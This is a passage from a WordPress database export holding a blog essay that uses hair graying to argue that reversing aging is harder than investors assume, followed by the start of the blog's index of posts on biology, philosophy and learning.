-->\n<p>The sheer amount of money (coming largely from the tech crowd) being thrown at aging has, understandably, resulted in a lot of hype. I got my news of Loyal’s <a href=\"https://techcrunch.com/2021/09/23/loyal-raises-27m-aims-to-give-dog-owners-more-time-with-their-pets/\">Series A from TechCrunch</a>, for instance, covered in the same tone as any buzzy new app’s Series A. TechCrunch, for the record, didn’t even mention the name Moderna until <a href=\"https://techcrunch.com/tag/moderna-therapeutics/\">Moderna was already in Phase 3 trials for its COVID vaccine</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think these anti-aging efforts are necessarily doomed to fail. I do think, however, that their public announcements and even their private assumptions massively underestimate the difficulty and complexity of reversing or stopping aging. Aging is biology, and biology, like reality, has <a href=\"http://johnsalvatier.org/blog/2017/reality-has-a-surprising-amount-of-detail\">a surprising amount of detail</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I try to discuss aging or reversing aging in general, though, I’m liable to get stuck in generalities, which makes it hard to drill down into the sort of details that matter. So, instead, I’d like to discuss in detail a very specific part of aging: graying. Only then, after we discuss graying, can we start to get a sense of the difficulty and complexity of aging research.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Graying is a too often overlooked part of aging in general, in my opinion. While it’s easy to ignore it because it’s not part of the aging process that bothers us (George Clooney has basically his entire career to thank for it), it’s actually an incredibly useful part of aging to study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, almost every mammal grays as it ages and almost every mammal that is gray is old. That means graying is an incredibly conserved part of aging, as close to a visible biological clock as one can get.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/38xKWrR8ZRf5h963BGbqK3XW7Gbekh77AKRCu8Df0GgmHDSJ2l8_o9NcbJZIQwMW0A6PwyH6AmRJMmoFgPW0GCV52lVMdRyRwmadb_nLWXbjIrAOkiupGS39Kl7s5MIX6BJsmTPU\" alt=\"\"/><figcaption>On the left is a baby tree kangaroo. On the right is a senior tree kangaroo. Note the graying around the eyes and muzzle of the senior. Then note how cute the baby is.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Second, as I’ll discuss more below, not only do we know how to induce graying, we’ve actually accidentally reversed it as well. This gives us vital clues as to what can control the process of graying, clues that we don’t have for aging in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third, graying is highly visible and indisputable. Advances in the aging field or aging-related diseases fields are frequently disputed because metrics aren’t universally agreed upon. It’s difficult to tell if a mouse has been cured of Alzheimer’s when mice don’t get Alzheimer’s to begin with. Scientists are forced to resort to saying, “We did something to this mouse that looked like giving it Alzheimer’s, and then we did something else that looked like it put the mouse back to square 1”. This is not the case for an anti-graying intervention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, interventions that affect graying can be done without harming the overall health of the individual, which is helpful both from an ethical standpoint and a logistical one (i.e. we don’t have to continually get new lab animals). One could even imagine some dedicated researcher experimenting on himself to reverse his own graying. If he messes up and does the opposite, it’s not that big of a deal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not the first person to notice these advantages, of course. A lot of people have thought this way, and there’s a robust literature of people experimenting with graying and anti-graying techniques on hair in culture, in animals, and even in humans. All it takes is for a scientist with a pair of tweezers to say to their graying colleague “come here for a second” and they can get another experiment up and running, which is a far cry from how complicated it is to run an Alzheimer’s experiment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://c8.alamy.com/comp/T79J4B/new-method-of-depilation-crazy-funny-man-using-tweezers-to-remove-his-beard-guy-trying-to-rid-of-the-beard-close-up-portrait-T79J4B.jpg\" alt=\"new method of depilation, crazy funny man using tweezers to remove his  beard. guy trying to rid of the beard. close up portrait Stock Photo - Alamy\"/><figcaption>This is how graying experiments are run. No shirts allowed.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But that’s precisely my point. Despite these evident, huge advantages to studying graying, graying is still really difficult to understand and impossible to cure. For the rest of this essay, I’ll discuss what we know about graying, what we don’t know, and where the field is going from here. Then I’ll try to put it back in context with the rest of aging research, so we can get more context for how difficult aging research is.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you don’t feel like reading too much more, I’ll give you the summary. The two big things we know about graying are most of <em>how</em> it happens and how it’s been accidentally reversed. The biggest things we don’t know about graying are <em>why</em> it happens and how we can intentionally reverse it. If you’d like to know more detail, read on. Also, I should mention that I’ve relied a lot on <a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/brv.12648\">this excellent review paper</a> for explaining more about the biology of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyway, here’s what we know about how it happens.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the normal cycle of a hair follicle. Over the period of several years, the hair grows out from a follicle, detaches, and then grows again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Oo8X7k6Iq0hafiTS0Kdmx3HslLEq2U9nA5JUddP4jltwtrqqxb9aaWc9JzlhJzBN1WrzpOCSIK-ykP_rom0bhaeStxEz-2f_29jOX82_sQgpsW4MUoRLpwYROJBc_mnfdyjfxaGi\" alt=\"\"/><figcaption>from <a href=\"https://www.growgorgeous.co.uk/blog/the-hair-lab/how-does-hair-grow/\">GrowGorgeous</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Hair gets its darkness from melanin, like skin. This is produced by melanocytes that surround the bottom of the hair shaft, which is known as the matrix, as seen below. The process of producing melanin occurs only during anagen, as does the process of producing more melanocytes from the melanocyte stem cells that surround the middle of the hair shaft, which is known as the bulge. During anagen, melanocytes migrate from the bulge to the matrix so they can start producing melanin. After anagen, the mature melanocytes in the matrix apoptose, or die.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/xjdwp6hfxRWBc15Pci_btxt0Y_mFaJL0-oal5bTxNhzeL7pMOuAUfRSpt1Y1XSu_PqYdcryRXnIrSilqUxPtrlLLNnajIFjYRNZVykAiZPNwy3twTYxzFNs7dIX-ENb7NMg9PZp0\" alt=\"\"/><figcaption>From, well, you already know. It\'s not my fault they had the diagram I was looking for.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Melanocytes and the lack thereof are key to the graying process. Gray hair follicles have fewer melanocytes at the start of anagen (and those melanocytes may be worse at producing melanin), while white hair follicles have almost no melanocytes or melanocyte stem cells.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The essential cause of graying seems to be, then, that melanocytes for some reason stop coming from the bulge to the matrix, or at least stop surviving and proliferating in the matrix. This results in a lack of melanin making its way to the hair shaft. After this happens, this is weirdly followed by the melanocyte stem cells also dying. Why this sequence of events occurs and not the reverse is one of the big mysteries of graying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Part of the reason why it’s difficult to understand this sequence of events is that the normal cycle of melanocyte stem cells -&gt; melanocytes -&gt; melanin is much more complicated in life than it seems on paper. For one thing, it’s controlled by many, many hormonal regulators. Here’s a short list: ACTH, adrenocorticotropic hormone; α-MSH, alpha melanocyte-stimulating hormone; BMAL1, brain and muscle ARNT-like 1; CRH, corticotropin-releasing hormone; c-KIT, tyrosine protein kinase Kit; c-Met, tyrosine protein kinase Met; FGF, fibroblast growth factor; GR, glucocorticoid receptor; HGF, hepatocyte growth factor; HPA, hypothalamus–pituitary–adrenal axis; MC1R, melanocortin receptor; MITF, microphthalmia-associated transcription factor; NGF, nerve growth factor; PER1, period circadian regulator 1; POMC, proopiomelanocortin; SCF, stem cell factor; T3, triiodothyronine; T4, tetraiodothyronine; TRH, thyrotropin-releasing hormone; TrkA, tyrosine receptor kinase A; and TSC, tuberous sclerosis complex.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any one of these can affect the pigmentation process. For example, nerve growth factor (NGF) is, as you might expect, a growth factor. It promotes the growth and proliferation of melanocytes. It does so by agonizing TrkA. If you grow a hair follicle <em>in vitro</em> and add in NGF, <a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0221757\">you can make the hair shaft dark with melanin long after the control hair factor has gone gray</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is that then a solution to hair graying? Well, no. First of all, completely removing a cell from all hormones is not what causes hair graying in people. NGF never goes away in people. If it did, we\'d be pretty screwed, because it’s used everywhere in the body (e.g. to promote nerve growth). Second of all, and more importantly, hormones are never quite so simple as more=better. While in this experiment 5 ng of NGF kept the hair shaft dark, 50 ng of NGF actually made the hair follicle lose pigmentation faster than the control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/FESxyHjLpZjlexOMw0Me42tXbvv0tPOuqtptuBygRlfjX1ZJdRgKB5e6aGfKLN8RHvt4mtqQsjP5edlbPyOu0x2JXIof-iDyeLjYmAGhNlbMKGGAuqwBzCERQz1U5ze4KLy0Ooyt\" alt=\"\"/><figcaption>Note that 50 ng NGF on day 6 has less melanin than 0 NGF on day 6.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>At this point, I hope you’re starting to get some sense of the complexity of all of this. People who claim that aging is “just” one thing or “just” another radically underestimate the complexity of how cycles are controlled in the body. These scientists above understand what NGF is for in terms of hair darkening, are able to grow unlimited hair follicles in culture, and can add as much or as little NGF as they want. They still don’t know how much NGF is appropriate for an individual hair follicle on the human head in order to keep a hair strand dark, or even if a lack or excess of NGF is a major cause of graying. This stuff’s really difficult!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other major piece of knowledge that we have in our arsenal with regards to graying are reports of sudden reversals of graying. Unfortunately, despite their value, these cases are woefully underexplored. They mostly just exist in reports from random doctors. This is a pity, because there’s not really an equivalent for any other piece of aging: nobody randomly gets cured from Alzheimer’s or randomly gets their joint degeneration turned to normal. If there are any real-world consequences from this essay, I’d hope that an exploration of these cases is one of them, because they are fascinating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some of the most reliable reports of spontaneous hair repigmentation come from immunosuppressants, including <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6031562/\">secukinumab</a>, an anti-interleukin-17 therapy; <a href=\"https://escholarship.org/uc/item/6fn0t1xz\">adalimumab</a>, an anti TNF-alpha therapy; and <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1468-3083.2007.02524.x\">corticosteroids</a>. Interestingly, the darkened hair growth persisted for both the adalimumab and the corticosteroids at least 20 and 12 months after the cessation of therapy, respectively (there was no cessation of secukinumab). While this isn’t longer than the 3-5 years of the total life cycle of a hair follicle, it does suggest that there was some immune component to hair graying in the first place. Immune cells attacking and killing melanocytes might be a common cause of hair graying.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/qymFgmwV9GrHGMBnRn-f8eTKkcKcO5gt9G6eAn3Mqm638LBjD4hgpreWsNG4Opgeg0W8JQDmoHVr2v4j27YAk1dwKHyEoVlfF2gPS8pbbG_zu3M-DK67-NYD2mwVb_jG5urrp28q\" alt=\"\"/><figcaption>On the left, 1 month after starting secukinumab. On the right, 6 months after starting secukinumab.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/EvcCAD-PqZxfUhtRZ56fv74oHjjzxohntsbnJq85nETEblfi9L-GgtoU0gf7_ouhoekZQnM0cCyVnSSBo9kQVWQofAW_mu1T9voPa5-jkeQUS4lylwBHJy-3YgkvfNUgWpRKyweu\" alt=\"\"/><figcaption>On the left, 20 months after an 81 year old patient started corticosteroids. On the right, the same patient at 65 years old, sans corticosteroids.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There are also other reliable reports from other cases, but they’re even harder to explain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://sci-hubtw.hkvisa.net/10.1046/j.1365-2133.2002.04591.x\">Two patients with porphyria cutanea tarda experienced hair repigmentation concurrent with their other symptoms</a>. One patient had continued hair repigmentation 9 years after treatment of her porphyria cutanea tarda resolved, which means that the repigmentation lasted beyond a hair follicle cycle. Porphyria cutanea tarda is caused by a deficiency of an enzyme that participates in the creation of heme, and results in increased photosensitivity.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Porphyria cutanea tarda also results in (and is usually diagnosed by) <a href=\"https://pubmed.ncbi.nlm.nih.gov/3941293/\">an elevated level of ferritin</a>, a protein that stores iron. One can maybe imagine how excess iron could result in hair darkening, but it’s hard to imagine how that could then persist after the ferritin levels returned to normal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/W2Uk_CqYNzTbNktOwJCDrcYSOk6uCSfmdwkfqylOKfDAGefagVVH7sS1g84zpaRWBu4ddzCqBMAmcVkPX5HMI8L5UPms1bn0_eEkO-F5txXFH3DGH_y2MwKZb8z0gq20xOVaJm40\" alt=\"\"/><figcaption>On the left, the patient after being diagnosed with porphyria cutanea tarda. On the right, the patient several years before. </figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There was also a report of <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1365-4632.2011.05422.x\">erlotinib, a tyrosine kinase inhibitor, spontaneously causing hair repigmentation</a>, but only on the top of the head. Interestingly, this evidently occurred mid follicle cycle, as the root of the hair was dark, while the tip of the hair remained gray. Tyrosine is a promoter of melanogenesis, so some sort of connection is suggested there, but it’s difficult to know why that would only occur at the top of the head.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/zORy8yJ3opM2AVcTtMx5-ojlAuDx9spLkQ5kHs0QY5zGBA3hQTF7-OQZcJ0_1baMfCZ2woyfGkRcto_KbAuIQNMmQOUnl0JSK6n1xry6qv4IKAefuw_mofs8dUVRwzeNUEa-hEZK\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The reverse happened with acitretin, where <a href=\"https://sci-hubtw.hkvisa.net/10.1111/j.1440-0960.2009.00542.x\">the crown of the head was gray but the occipital region turned black</a>. Acitretin is closely related to vitamin A, and used to treat psoriasis. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3237781/\">Vitamin A deficiency and excess can cause hair loss</a>, likely by interacting with the hair follicle stem cells and sebaceous glands. The effect on hair stem cells is suggestive, but, again, it’s really difficult to explain why this would only affect the occipital region.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/ur936_EsuehUveBj1oQ-En1w1Zp6L0P9K1DdJTRj3vY6rmSOS6HE4JDB6xEHyXWQH2QKDYW9K337F4mBRzMSmp0quZXnumwKznWExp15YIWnqCyA1z5f8ScZKTZrzGknFYyvcgmg\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Trying to summarize all of these cases as what can reverse hair graying is difficult. The most obvious answer is that hair graying must be caused by many factors, and what reverses one person’s hair graying might not reverse another. The challenge for researchers, then, would be to predict which people would be affected by which interventions, and then figure out which parts of the intervention are actually necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings us back to the biggest thing we don’t know: why any of this happens. We don’t know why melanocytes stop producing melanin or migrating down to the matrix. We don’t know why melanocytes die before melanocyte stem cells, or why this is so conserved across mammal species.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, because we don’t know why, we still are not remotely close to someone with gray hair being able to walk into a doctor’s office and walk out with black hair. In fact, we’re still not remotely close to being able to consistently reverse graying even in a mouse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our difficulties with these presage a difficulty with reversing aging as a whole. Aging is made up of a bunch of different systems: aging of the skin, the heart, the brain, the immune system. All of these systems age and get worse at their jobs, which is why so many diseases have aging as a risk factor. We can safely assume, too, that all of these systems are at least as complex as a hair follicle, with incredibly long lists of hormones that interact with each other in confusing ways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, unlike with graying, aging scientists don’t have the luxury of just looking at each other’s heads, looking at case reports of sudden reversals, or even just being able to visually confirm whether a treatment worked. Testing whether an aging treatment worked in the heart or in the brain is a lot more complicated than that. So, there are a lot of hard slogs ahead, and I have no doubts that the same sorts of weird paradoxes that pop up in graying (e.g. melanocytes disappearing before stem cells) will pop up in general aging, too. They’ll just be harder to spot.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, to those scientists with millions of dollars who plan to cure aging within 10 years, I wish you best of luck. But, I urge you: as you work in your labs, please take a second to stop and look at the grayheads around you. Ask them for their wisdom. Then, as they’re replying, try to quickly quickly turn their hair black, and you’ll get a better sense of how ridiculously difficult a task is in front of you.</p>\n<!-- /wp:paragraph -->','Want to reverse aging? Try reversing graying, first.','','inherit','closed','closed','','244-revision-v1','','','2021-12-10 18:25:44','2021-12-10 18:25:44','',244,'https://trevorklee.com/?p=248',0,'revision','',0),
(250,1,'2021-12-12 19:35:05','2021-12-12 19:35:05','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph 